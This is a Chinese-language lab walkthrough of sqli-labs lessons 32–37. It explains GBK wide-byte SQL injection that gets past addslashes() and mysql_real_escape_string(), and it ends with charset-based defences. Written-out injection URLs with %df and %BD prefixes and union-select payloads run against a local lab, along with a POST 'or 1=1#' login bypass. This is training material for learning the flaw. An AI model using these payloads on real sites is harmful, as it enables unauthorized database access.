概述
我们先介绍下宽字节注入
原理:mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。我们在过滤 ’ 的时候,往往利用的思
路是将 ‘ 转换为 ’
Less-32
http://127.0.0.1/sqli-labs-master/Less-32/?id=1'
会发现对进行了过滤
http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%df'union select 1,user(),3--+
%df 吃掉 具体的原因是 urlencode(‘) = %5c%27,我们在%5c%27 前面添加%df,形
成%df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此
事%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
部分源码
Less-33
从源码中我们可以看到,使用了addslashes()函数,其功能就是返回在预定义字符之前添加反斜杠的字符串
预定义字符是:
单引号(’)
双引号(")
反斜杠()
该函数功能与less-32中实现的功能基本一致,参考less-32
Less-34
这一关是POST型的注入,将UTF-8转换为UTF-16或者UTF-32,例如将’转换为utf-16为: �’。我们可以利用这一点注入。
username: �'or 1=1#
passwor:随意
观察源码
@$sql="SELECT username, password FROM users WHERE username='$uname'
and password='$passwd' LIMIT 0,1";
构造后
SELECT username, password FROM users WHERE username='� ' or 1=1#' and
password='$passwd' LIMIT 0,1
less-35
直接注入
http://127.0.0.1/sqli-labs-master/Less-35/?id=-1%20union%20select%201,user(),3--+
less-36
查看源码我们可以知道
check_quotes()函数是利用了 mysql_real_escape_string()函数进行的过滤
过滤的字符有:
x00 n r ' '' x1a
我们开始注入
http://127.0.0.1/sqli-labs-master/Less-36/?id=-1%BD%27union%20select%201,user(),3--+
Less-37
与34题注入方法一样
总结
过滤 ‘ 常用的三种方式是直接 replace,
addslashes(),mysql_real_escape_string()。三种方式仅仅依靠一个函数是不能完全防御的,所以我们在编写代码的时候需要考虑的更加仔细。下面给出几种防御的方式
1、在使用 mysql_real_escape_string()时,如何能够安全的防护这种问题,需要将 mysql 设置为gbk 即可。设置代码:Mysql_set_charset(‘gbk’,’$conn’)
2、使用 addslashes(),我们需要将 mysql_query 设置为 binary 的方式,才能防御此漏洞。
Mysql_query(“SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary”,$conn);
最后
以上就是个性樱桃为你收集整理的sqli-labs-less-32~37的全部内容,希望文章能够帮你解决sqli-labs-less-32~37所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复